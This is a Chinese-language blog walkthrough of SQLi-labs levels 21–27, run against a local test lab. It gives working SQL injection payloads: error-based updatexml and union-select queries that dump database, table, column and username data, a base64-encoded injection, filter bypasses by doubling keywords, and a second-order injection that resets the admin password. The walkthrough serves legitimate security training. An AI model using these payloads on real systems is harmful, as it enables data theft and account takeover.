sql注入21-27关

21关

在这里插入图片描述
在这里插入图片描述

经过这两个可知,有加密,使用了base64加密
在这里插入图片描述
解密后

base64编解码地址:
https://tool.oschina.net/encrypt?type=3
在这里插入图片描述
可以推出,我们需要在burp suite上将编码后的内容输入

') and updatexml(1,concat(0x7e,database(),0x7e),1)# 
') union select 1,2, updatexml(1,concat(0x7e,database(),0x7e),1)# 
同时因为有回显,可以采用联合查询

在这里插入图片描述
成功
在这里插入图片描述

22关

22关和21关相似,只是22关闭合符号是双引号
在这里插入图片描述

23关

在地址栏输入id,有回显
在这里插入图片描述
不能用–+或者#进行注释,使用了or '1=1
在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select database()),3 and '1

在这里插入图片描述

24关


二次注入

我看这篇博客很详细
https://blog.csdn.net/weixin_39934520/article/details/105620978
本关的目的是,你只知道用户名,却不知道密码,让你将密码破解,并用这个用户名登录。

过程
在这里插入图片描述
在这里插入图片描述

用新注册的账号登录,并且修改密码
在这里插入图片描述
此时用admin加上修改后的密码就可以登录
在这里插入图片描述

25关

在这里插入图片描述
在这里插入图片描述
用regexp(正则)替换or或者and
在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select database()),3 --+

在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

在这里插入图片描述
or被替换了,所以informat中or消失了

双写可以绕过
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from infoORrmation_schema.tables where table_schema=database())--+

在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(column_name) from infoORrmation_schema.columns where table_name='users')--+

在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(username) from users)--+

在这里插入图片描述

25a关

和25关一样,只是这个没有闭合符号
在这里插入图片描述

26关

闭合符号如下

如上图,本题绕过了注释和空格,使用 ||‘1’='1或者;%00绕过

HTML URL编码参考手册

127.0.0.1/sqli-labs-master/Less-26/?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1' ='1

这关先撤了,使用%a0或者%20代替空格,都不行
经过查看大佬的博客得出:
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
在这里插入图片描述
26a关
闭合符
在这里插入图片描述
绕过的符号和26关一样
在这里插入图片描述
将错误输出注释掉,所以用时间盲注
在这里插入图片描述

27关

闭合符
在这里插入图片描述
这次明显比前几关需要绕过的多
在这里插入图片描述
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
所以我还是撤了
union和select用双写绕过,报错注入可以用
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值